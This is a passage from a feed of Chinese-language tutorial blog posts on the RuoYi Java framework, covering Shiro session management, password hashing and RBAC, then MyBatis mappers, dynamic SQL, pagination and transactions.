&lt;td&gt;&lt;code&gt;system:user:view&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;查看用户列表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;system:user:list&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;查询用户数据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;system:user:add&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;新增用户&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;system:user:edit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;修改用户&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;system:user:remove&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;删除用户&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;system:user:export&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;导出用户&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;system:user:import&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;导入用户&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;system:user:resetPwd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;重置密码&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Session 管理&lt;/h2&gt;
&lt;h3&gt;1. 在线用户管理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/web/controller/monitor/ServerController.java
@Controller
@RequestMapping(&quot;/monitor/online&quot;)
public class SysUserOnlineController extends BaseController {
    
    @Autowired
    private ISysUserOnlineService userOnlineService;

    // 查询在线用户列表
    @RequiresPermissions(&quot;monitor:online:view&quot;)
    @GetMapping()
    public String online() {
        return prefix + &quot;/online&quot;;
    }

    // 强退用户
    @RequiresPermissions(&quot;monitor:online:forceLogout&quot;)
    @Log(title = &quot;在线用户&quot;, businessType = BusinessType.FORCE)
    @PostMapping(&quot;/forceLogout&quot;)
    @ResponseBody
    public AjaxResult forceLogout(String sessionId) {
        userOnlineService.forceLogout(sessionId);
        return success();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Session 踢人功能&lt;/h3&gt;
&lt;p&gt;防止同一账号多地登录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/framework/shiro/web/filter/kickout/KickoutSessionFilter.java
public class KickoutSessionFilter extends AccessControlFilter {
    
    // 同一个用户最大 Session 数
    private int maxSession = 1;
    
    // 被踢出后跳转的 URL
    private String kickoutUrl;
    
    @Override
    protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, 
            Object mappedValue) throws Exception {
        Subject subject = getSubject(request, response);
        if (!subject.isAuthenticated() &amp;amp;&amp;amp; !subject.isRemembered()) {
            return true;
        }
        
        Session session = subject.getSession();
        Serializable sessionId = session.getId();
        
        // 检查是否超出最大 Session 数
        List&amp;lt;Serializable&amp;gt; sessionIds = cache.get(sessionId);
        if (sessionIds != null &amp;amp;&amp;amp; sessionIds.size() &amp;gt;= maxSession) {
            // 踢出最早的 Session
            subject.logout();
            return false;
        }
        
        return true;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;密码加密&lt;/h2&gt;
&lt;p&gt;RuoYi 使用 MD5 + Salt 加密：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/framework/shiro/service/PasswordService.java
@Service
public class PasswordService {
    
    // 加密算法
    private static final String ALGORITHM_NAME = &quot;md5&quot;;
    // 加密次数
    private static final int HASH_ITERATIONS = 2;
    
    /**
     * 加密密码
     */
    public String encryptPassword(String salt, String password) {
        return new SimpleHash(ALGORITHM_NAME, password, salt, HASH_ITERATIONS).toString();
    }
    
    /**
     * 验证密码
     */
    public boolean matches(SysUser user, String newPassword) {
        return user.getPassword().equals(encryptPassword(user.getSalt(), newPassword));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;RBAC 权限模型&lt;/h2&gt;
&lt;p&gt;RuoYi 使用经典的 RBAC（Role-Based Access Control）模型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;用户 (User) ←→ 角色 (Role) ←→ 权限 (Permission/Menu)
   ↑              ↑                  ↑
   |              |                  |
sys_user    sys_role          sys_menu
   ↓              ↓                  ↓
sys_user_role  sys_role_menu
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;权限加载流程&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;用户登录时，查询用户的角色&lt;/li&gt;
&lt;li&gt;根据角色查询对应的权限（菜单）&lt;/li&gt;
&lt;li&gt;将权限缓存到 Session 中&lt;/li&gt;
&lt;li&gt;后续请求直接从 Session 获取权限&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// Shiro 核心 API
Subject subject = SecurityUtils.getSubject();  // 获取当前用户
subject.login(token);                          // 登录
subject.logout();                              // 登出
subject.isAuthenticated();                     // 是否已登录
subject.hasRole(&quot;admin&quot;);                      // 是否有角色
subject.isPermitted(&quot;system:user:view&quot;);       // 是否有权限

// 常用注解
@RequiresAuthentication    // 需要已登录
@RequiresUser              // 需要用户存在
@RequiresRoles(&quot;admin&quot;)    // 需要角色
@RequiresPermissions(&quot;system:user:view&quot;)  // 需要权限

// Realm 核心方法
doGetAuthenticationInfo()  // 认证（登录）
doGetAuthorizationInfo()   // 授权（权限）

// RBAC 模型
用户 -&amp;gt; 角色 -&amp;gt; 权限（菜单）
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;概念&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Subject&lt;/td&gt;
&lt;td&gt;当前用户主体&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SecurityManager&lt;/td&gt;
&lt;td&gt;安全管理器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Realm&lt;/td&gt;
&lt;td&gt;数据源（连接数据库）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication&lt;/td&gt;
&lt;td&gt;认证（登录验证）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authorization&lt;/td&gt;
&lt;td&gt;授权（权限检查）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Session&lt;/td&gt;
&lt;td&gt;会话管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RBAC&lt;/td&gt;
&lt;td&gt;基于角色的访问控制&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一步：&lt;a href=&quot;/blog/posts/ruoyi-roadmap-05-user-management/&quot;&gt;阶段五：用户管理模块&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在阶段五中，我们将深入分析用户管理模块的完整实现，包括实体类、Service、Controller 和前端页面。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>RuoYi 阶段三：MyBatis 与数据库操作</title><link>http://117.72.32.87/blog/posts/ruoyi-roadmap-03-mybatis-database/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/ruoyi-roadmap-03-mybatis-database/</guid><description>理解 MyBatis 工作原理：Mapper 接口、XML 映射、动态 SQL、分页查询，以及 RuoYi 中的实际应用。</description><pubDate>Mon, 07 Sep 2026 05:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文是 RuoYi 学习路线的&lt;strong&gt;阶段三&lt;/strong&gt;，聚焦 MyBatis 数据库操作。学完本篇你应该能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;理解 MyBatis 的 Mapper 接口和 XML 映射&lt;/li&gt;
&lt;li&gt;掌握动态 SQL 的编写&lt;/li&gt;
&lt;li&gt;知道 RuoYi 是如何进行分页查询的&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前端视角：MyBatis 像什么？&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;MyBatis&lt;/th&gt;
&lt;th&gt;前端类比&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Mapper 接口&lt;/td&gt;
&lt;td&gt;API 接口定义&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;XML 映射文件&lt;/td&gt;
&lt;td&gt;GraphQL Schema / SQL 模板&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;#{param}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;模板字符串 &lt;code&gt;${param}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;动态 SQL&lt;/td&gt;
&lt;td&gt;条件渲染 &lt;code&gt;{condition &amp;amp;&amp;amp; &amp;lt;Component /&amp;gt;}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ResultMap&lt;/td&gt;
&lt;td&gt;数据转换/序列化&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;MyBatis 核心概念&lt;/h2&gt;
&lt;h3&gt;1. Mapper 接口&lt;/h3&gt;
&lt;p&gt;Mapper 接口定义了数据库操作方法，不需要写实现类：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/system/mapper/SysUserMapper.java
package com.ruoyi.system.mapper;

import java.util.List;
import com.ruoyi.system.domain.SysUser;

/**
 * 用户表 数据层
 * 
 * @author ruoyi
 */
public interface SysUserMapper {
    /**
     * 根据条件分页查询用户列表
     */
    public List&amp;lt;SysUser&amp;gt; selectUserList(SysUser user);

    /**
     * 通过用户名查询用户
     */
    public SysUser selectUserByUserName(String userName);

    /**
     * 通过用户ID查询用户
     */
    public SysUser selectUserById(Long userId);

    /**
     * 新增用户信息
     */
    public int insertUser(SysUser user);

    /**
     * 修改用户信息
     */
    public int updateUser(SysUser user);

    /**
     * 删除用户信息
     */
    public int deleteUserById(Long userId);

    /**
     * 批量删除用户信息
     */
    public int deleteUserByIds(String[] userIds);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. XML 映射文件&lt;/h3&gt;
&lt;p&gt;XML 文件定义了 SQL 语句和结果映射：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- src/main/resources/mapper/system/SysUserMapper.xml --&amp;gt;
&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&amp;gt;
&amp;lt;!DOCTYPE mapper
PUBLIC &quot;-//mybatis.org//DTD Mapper 3.0//EN&quot;
&quot;http://mybatis.org/dtd/mybatis-3-mapper.dtd&quot;&amp;gt;
&amp;lt;mapper namespace=&quot;com.ruoyi.system.mapper.SysUserMapper&quot;&amp;gt;

    &amp;lt;resultMap type=&quot;SysUser&quot; id=&quot;SysUserResult&quot;&amp;gt;
        &amp;lt;id     property=&quot;userId&quot;       column=&quot;user_id&quot;      /&amp;gt;
        &amp;lt;result property=&quot;deptId&quot;       column=&quot;dept_id&quot;      /&amp;gt;
        &amp;lt;result property=&quot;loginName&quot;    column=&quot;login_name&quot;   /&amp;gt;
        &amp;lt;result property=&quot;userName&quot;     column=&quot;user_name&quot;    /&amp;gt;
        &amp;lt;result property=&quot;email&quot;        column=&quot;email&quot;        /&amp;gt;
        &amp;lt;result property=&quot;phonenumber&quot;  column=&quot;phonenumber&quot;  /&amp;gt;
        &amp;lt;result property=&quot;sex&quot;          column=&quot;sex&quot;          /&amp;gt;
        &amp;lt;result property=&quot;avatar&quot;       column=&quot;avatar&quot;       /&amp;gt;
        &amp;lt;result property=&quot;password&quot;     column=&quot;password&quot;     /&amp;gt;
        &amp;lt;result property=&quot;salt&quot;         column=&quot;salt&quot;         /&amp;gt;
        &amp;lt;result property=&quot;status&quot;       column=&quot;status&quot;       /&amp;gt;
        &amp;lt;result property=&quot;delFlag&quot;      column=&quot;del_flag&quot;     /&amp;gt;
        &amp;lt;result property=&quot;loginIp&quot;      column=&quot;login_ip&quot;     /&amp;gt;
        &amp;lt;result property=&quot;loginDate&quot;    column=&quot;login_date&quot;   /&amp;gt;
        &amp;lt;result property=&quot;createBy&quot;     column=&quot;create_by&quot;    /&amp;gt;
        &amp;lt;result property=&quot;createTime&quot;   column=&quot;create_time&quot;  /&amp;gt;
        &amp;lt;result property=&quot;updateBy&quot;     column=&quot;update_by&quot;    /&amp;gt;
        &amp;lt;result property=&quot;updateTime&quot;   column=&quot;update_time&quot;  /&amp;gt;
        &amp;lt;result property=&quot;remark&quot;       column=&quot;remark&quot;       /&amp;gt;
        &amp;lt;association property=&quot;dept&quot;    column=&quot;dept_id&quot; javaType=&quot;SysDept&quot; resultMap=&quot;deptResult&quot; /&amp;gt;
        &amp;lt;collection  property=&quot;roles&quot;   javaType=&quot;java.util.List&quot;           resultMap=&quot;RoleResult&quot; /&amp;gt;
    &amp;lt;/resultMap&amp;gt;

    &amp;lt;resultMap id=&quot;deptResult&quot; type=&quot;SysDept&quot;&amp;gt;
        &amp;lt;id     property=&quot;deptId&quot;   column=&quot;dept_id&quot;     /&amp;gt;
        &amp;lt;result property=&quot;parentId&quot; column=&quot;parent_id&quot;   /&amp;gt;
        &amp;lt;result property=&quot;deptName&quot; column=&quot;dept_name&quot;   /&amp;gt;
        &amp;lt;result property=&quot;orderNum&quot; column=&quot;order_num&quot;   /&amp;gt;
        &amp;lt;result property=&quot;leader&quot;   column=&quot;leader&quot;      /&amp;gt;
        &amp;lt;result property=&quot;status&quot;   column=&quot;dept_status&quot; /&amp;gt;
    &amp;lt;/resultMap&amp;gt;

    &amp;lt;resultMap id=&quot;RoleResult&quot; type=&quot;SysRole&quot;&amp;gt;
        &amp;lt;id     property=&quot;roleId&quot;       column=&quot;role_id&quot;        /&amp;gt;
        &amp;lt;result property=&quot;roleName&quot;     column=&quot;role_name&quot;      /&amp;gt;
        &amp;lt;result property=&quot;roleKey&quot;      column=&quot;role_key&quot;       /&amp;gt;
        &amp;lt;result property=&quot;roleSort&quot;     column=&quot;role_sort&quot;      /&amp;gt;
        &amp;lt;result property=&quot;dataScope&quot;     column=&quot;data_scope&quot;    /&amp;gt;
        &amp;lt;result property=&quot;status&quot;       column=&quot;role_status&quot;    /&amp;gt;
    &amp;lt;/resultMap&amp;gt;

    &amp;lt;sql id=&quot;selectUserVo&quot;&amp;gt;
        select u.user_id, u.dept_id, u.login_name, u.user_name, u.email, u.phonenumber, 
               u.sex, u.avatar, u.password, u.salt, u.status, u.del_flag, 
               u.login_ip, u.login_date, u.create_by, u.create_time, u.update_by, 
               u.update_time, u.remark,
               d.dept_id, d.parent_id, d.dept_name, d.order_num, d.leader, d.status as dept_status,
               r.role_id, r.role_name, r.role_key, r.role_sort, r.data_scope, r.status as role_status
        from sys_user u
        left join sys_dept d on u.dept_id = d.dept_id
        left join sys_user_role ur on u.user_id = ur.user_id
        left join sys_role r on r.role_id = ur.role_id
    &amp;lt;/sql&amp;gt;

    &amp;lt;select id=&quot;selectUserList&quot; parameterType=&quot;SysUser&quot; resultMap=&quot;SysUserResult&quot;&amp;gt;
        &amp;lt;include refid=&quot;selectUserVo&quot;/&amp;gt;
        where u.del_flag = &apos;0&apos;
        &amp;lt;if test=&quot;loginName != null and loginName != &apos;&apos;&quot;&amp;gt;
            AND u.login_name like concat(&apos;%&apos;, #{loginName}, &apos;%&apos;)
        &amp;lt;/if&amp;gt;
        &amp;lt;if test=&quot;status != null and status != &apos;&apos;&quot;&amp;gt;
            AND u.status = #{status}
        &amp;lt;/if&amp;gt;
        &amp;lt;if test=&quot;phonenumber != null and phonenumber != &apos;&apos;&quot;&amp;gt;
            AND u.phonenumber like concat(&apos;%&apos;, #{phonenumber}, &apos;%&apos;)
        &amp;lt;/if&amp;gt;
        &amp;lt;if test=&quot;beginTime != null and beginTime != &apos;&apos;&quot;&amp;gt;
            AND date_format(u.create_time,&apos;%y%m%d&apos;) &amp;amp;gt;= date_format(#{beginTime},&apos;%y%m%d&apos;)
        &amp;lt;/if&amp;gt;
        &amp;lt;if test=&quot;endTime != null and endTime != &apos;&apos;&quot;&amp;gt;
            AND date_format(u.create_time,&apos;%y%m%d&apos;) &amp;amp;lt;= date_format(#{endTime},&apos;%y%m%d&apos;)
        &amp;lt;/if&amp;gt;
        &amp;lt;if test=&quot;deptId != null and deptId != 0&quot;&amp;gt;
            AND (u.dept_id = #{deptId} OR u.dept_id IN ( 
                SELECT t.dept_id FROM sys_dept t 
                WHERE find_in_set(#{deptId}, ancestors) 
            ))
        &amp;lt;/if&amp;gt;
    &amp;lt;/select&amp;gt;

    &amp;lt;select id=&quot;selectUserById&quot; parameterType=&quot;Long&quot; resultMap=&quot;SysUserResult&quot;&amp;gt;
        &amp;lt;include refid=&quot;selectUserVo&quot;/&amp;gt;
        where u.user_id = #{userId}
    &amp;lt;/select&amp;gt;

    &amp;lt;insert id=&quot;insertUser&quot; parameterType=&quot;SysUser&quot; useGeneratedKeys=&quot;true&quot; keyProperty=&quot;userId&quot;&amp;gt;
        insert into sys_user(
            &amp;lt;if test=&quot;userId != null and userId != 0&quot;&amp;gt;user_id,&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;deptId != null and deptId != 0&quot;&amp;gt;dept_id,&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;loginName != null and loginName != &apos;&apos;&quot;&amp;gt;login_name,&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;userName != null and userName != &apos;&apos;&quot;&amp;gt;user_name,&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;email != null and email != &apos;&apos;&quot;&amp;gt;email,&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;phonenumber != null and phonenumber != &apos;&apos;&quot;&amp;gt;phonenumber,&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;sex != null and sex != &apos;&apos;&quot;&amp;gt;sex,&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;avatar != null and avatar != &apos;&apos;&quot;&amp;gt;avatar,&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;password != null and password != &apos;&apos;&quot;&amp;gt;password,&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;salt != null and salt != &apos;&apos;&quot;&amp;gt;salt,&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;status != null and status != &apos;&apos;&quot;&amp;gt;status,&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;createBy != null and createBy != &apos;&apos;&quot;&amp;gt;create_by,&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;remark != null and remark != &apos;&apos;&quot;&amp;gt;remark,&amp;lt;/if&amp;gt;
            create_time
        )values(
            &amp;lt;if test=&quot;userId != null and userId != 0&quot;&amp;gt;#{userId},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;deptId != null and deptId != 0&quot;&amp;gt;#{deptId},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;loginName != null and loginName != &apos;&apos;&quot;&amp;gt;#{loginName},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;userName != null and userName != &apos;&apos;&quot;&amp;gt;#{userName},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;email != null and email != &apos;&apos;&quot;&amp;gt;#{email},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;phonenumber != null and phonenumber != &apos;&apos;&quot;&amp;gt;#{phonenumber},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;sex != null and sex != &apos;&apos;&quot;&amp;gt;#{sex},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;avatar != null and avatar != &apos;&apos;&quot;&amp;gt;#{avatar},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;password != null and password != &apos;&apos;&quot;&amp;gt;#{password},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;salt != null and salt != &apos;&apos;&quot;&amp;gt;#{salt},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;status != null and status != &apos;&apos;&quot;&amp;gt;#{status},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;createBy != null and createBy != &apos;&apos;&quot;&amp;gt;#{createBy},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;remark != null and remark != &apos;&apos;&quot;&amp;gt;#{remark},&amp;lt;/if&amp;gt;
            sysdate()
        )
    &amp;lt;/insert&amp;gt;

    &amp;lt;update id=&quot;updateUser&quot; parameterType=&quot;SysUser&quot;&amp;gt;
        update sys_user
        &amp;lt;set&amp;gt;
            &amp;lt;if test=&quot;deptId != null and deptId != 0&quot;&amp;gt;dept_id = #{deptId},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;loginName != null and loginName != &apos;&apos;&quot;&amp;gt;login_name = #{loginName},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;userName != null and userName != &apos;&apos;&quot;&amp;gt;user_name = #{userName},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;email != null and email != &apos;&apos;&quot;&amp;gt;email = #{email},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;phonenumber != null and phonenumber != &apos;&apos;&quot;&amp;gt;phonenumber = #{phonenumber},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;sex != null and sex != &apos;&apos;&quot;&amp;gt;sex = #{sex},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;avatar != null and avatar != &apos;&apos;&quot;&amp;gt;avatar = #{avatar},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;password != null and password != &apos;&apos;&quot;&amp;gt;password = #{password},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;salt != null and salt != &apos;&apos;&quot;&amp;gt;salt = #{salt},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;status != null and status != &apos;&apos;&quot;&amp;gt;status = #{status},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;loginIp != null and loginIp != &apos;&apos;&quot;&amp;gt;login_ip = #{loginIp},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;loginDate != null&quot;&amp;gt;login_date = #{loginDate},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;updateBy != null and updateBy != &apos;&apos;&quot;&amp;gt;update_by = #{updateBy},&amp;lt;/if&amp;gt;
            &amp;lt;if test=&quot;remark != null&quot;&amp;gt;remark = #{remark},&amp;lt;/if&amp;gt;
            update_time = sysdate()
        &amp;lt;/set&amp;gt;
        where user_id = #{userId}
    &amp;lt;/update&amp;gt;

    &amp;lt;delete id=&quot;deleteUserById&quot; parameterType=&quot;Long&quot;&amp;gt;
        delete from sys_user where user_id = #{userId}
    &amp;lt;/delete&amp;gt;

    &amp;lt;delete id=&quot;deleteUserByIds&quot; parameterType=&quot;Long&quot;&amp;gt;
        update sys_user set del_flag = &apos;2&apos; where user_id in
        &amp;lt;foreach collection=&quot;array&quot; item=&quot;userId&quot; open=&quot;(&quot; separator=&quot;,&quot; close=&quot;)&quot;&amp;gt;
            #{userId}
        &amp;lt;/foreach&amp;gt;
    &amp;lt;/delete&amp;gt;

&amp;lt;/mapper&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;动态 SQL&lt;/h2&gt;
&lt;p&gt;MyBatis 提供了强大的动态 SQL 功能：&lt;/p&gt;
&lt;h3&gt;1. if 条件判断&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;if test=&quot;name != null and name != &apos;&apos;&quot;&amp;gt;
    AND name = #{name}
&amp;lt;/if&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. where 标签&lt;/h3&gt;
&lt;p&gt;自动处理 &lt;code&gt;WHERE&lt;/code&gt; 和 &lt;code&gt;AND/OR&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;selectUser&quot; resultMap=&quot;UserResult&quot;&amp;gt;
    SELECT * FROM sys_user
    &amp;lt;where&amp;gt;
        &amp;lt;if test=&quot;name != null&quot;&amp;gt;
            AND name = #{name}
        &amp;lt;/if&amp;gt;
        &amp;lt;if test=&quot;status != null&quot;&amp;gt;
            AND status = #{status}
        &amp;lt;/if&amp;gt;
    &amp;lt;/where&amp;gt;
&amp;lt;/select&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. set 标签&lt;/h3&gt;
&lt;p&gt;自动处理 &lt;code&gt;SET&lt;/code&gt; 和逗号：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;update id=&quot;updateUser&quot;&amp;gt;
    UPDATE sys_user
    &amp;lt;set&amp;gt;
        &amp;lt;if test=&quot;name != null&quot;&amp;gt;name = #{name},&amp;lt;/if&amp;gt;
        &amp;lt;if test=&quot;status != null&quot;&amp;gt;status = #{status},&amp;lt;/if&amp;gt;
    &amp;lt;/set&amp;gt;
    WHERE user_id = #{userId}
&amp;lt;/update&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. foreach 循环&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;selectUserByIds&quot;&amp;gt;
    SELECT * FROM sys_user WHERE user_id IN
    &amp;lt;foreach collection=&quot;array&quot; item=&quot;id&quot; open=&quot;(&quot; separator=&quot;,&quot; close=&quot;)&quot;&amp;gt;
        #{id}
    &amp;lt;/foreach&amp;gt;
&amp;lt;/select&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. choose/when/otherwise&lt;/h3&gt;
&lt;p&gt;类似 Java 的 switch：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;choose&amp;gt;
    &amp;lt;when test=&quot;order == &apos;asc&apos;&quot;&amp;gt;
        ORDER BY create_time ASC
    &amp;lt;/when&amp;gt;
    &amp;lt;otherwise&amp;gt;
        ORDER BY create_time DESC
    &amp;lt;/otherwise&amp;gt;
&amp;lt;/choose&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;分页查询&lt;/h2&gt;
&lt;p&gt;RuoYi 使用 PageHelper 实现分页：&lt;/p&gt;
&lt;h3&gt;1. 配置 PageHelper&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# application.yml
pagehelper:
  helperDialect: mysql
  reasonable: true
  supportMethodsArguments: true
  params: count=countSql
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Controller 中使用&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// BaseController.java
protected void startPage() {
    PageDomain pageDomain = TableSupport.buildPageRequest();
    Integer pageNum = pageDomain.getPageNum();
    Integer pageSize = pageDomain.getPageSize();
    if (StringUtils.isNotNull(pageNum) &amp;amp;&amp;amp; StringUtils.isNotNull(pageSize)) {
        String orderBy = SqlUtil.escapeOrderBySql(pageDomain.getOrderBy());
        PageHelper.startPage(pageNum, pageSize, orderBy);
    }
}

// SysUserController.java
@PostMapping(&quot;/list&quot;)
@ResponseBody
public TableDataInfo list(SysUser user) {
    startPage();  // 开启分页
    List&amp;lt;SysUser&amp;gt; list = userService.selectUserList(user);
    return getDataTable(list);  // 封装分页结果
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. 分页结果封装&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// TableDataInfo.java
public class TableDataInfo {
    private long total;        // 总记录数
    private List&amp;lt;?&amp;gt; rows;      // 列表数据
    private int code;          // 状态码
    private String msg;        // 消息

    public TableDataInfo(List&amp;lt;?&amp;gt; list, int total) {
        this.rows = list;
        this.total = total;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;事务管理&lt;/h2&gt;
&lt;p&gt;RuoYi 使用 &lt;code&gt;@Transactional&lt;/code&gt; 注解管理事务：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Service
public class SysUserServiceImpl implements ISysUserService {
    
    @Override
    @Transactional
    public int insertUser(SysUser user) {
        // 新增用户信息
        int rows = userMapper.insertUser(user);
        // 新增用户岗位关联
        insertUserPost(user);
        // 新增用户与角色管理
        insertUserRole(user);
        return rows;
        // 如果任何一步失败，整个事务回滚
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ResultMap 详解&lt;/h2&gt;
&lt;p&gt;ResultMap 用于映射数据库字段和 Java 对象属性：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;resultMap type=&quot;SysUser&quot; id=&quot;SysUserResult&quot;&amp;gt;
    &amp;lt;!-- 主键映射 --&amp;gt;
    &amp;lt;id property=&quot;userId&quot; column=&quot;user_id&quot; /&amp;gt;
    
    &amp;lt;!-- 普通字段映射 --&amp;gt;
    &amp;lt;result property=&quot;userName&quot; column=&quot;user_name&quot; /&amp;gt;
    
    &amp;lt;!-- 一对一关联 --&amp;gt;
    &amp;lt;association property=&quot;dept&quot; javaType=&quot;SysDept&quot; resultMap=&quot;deptResult&quot; /&amp;gt;
    
    &amp;lt;!-- 一对多关联 --&amp;gt;
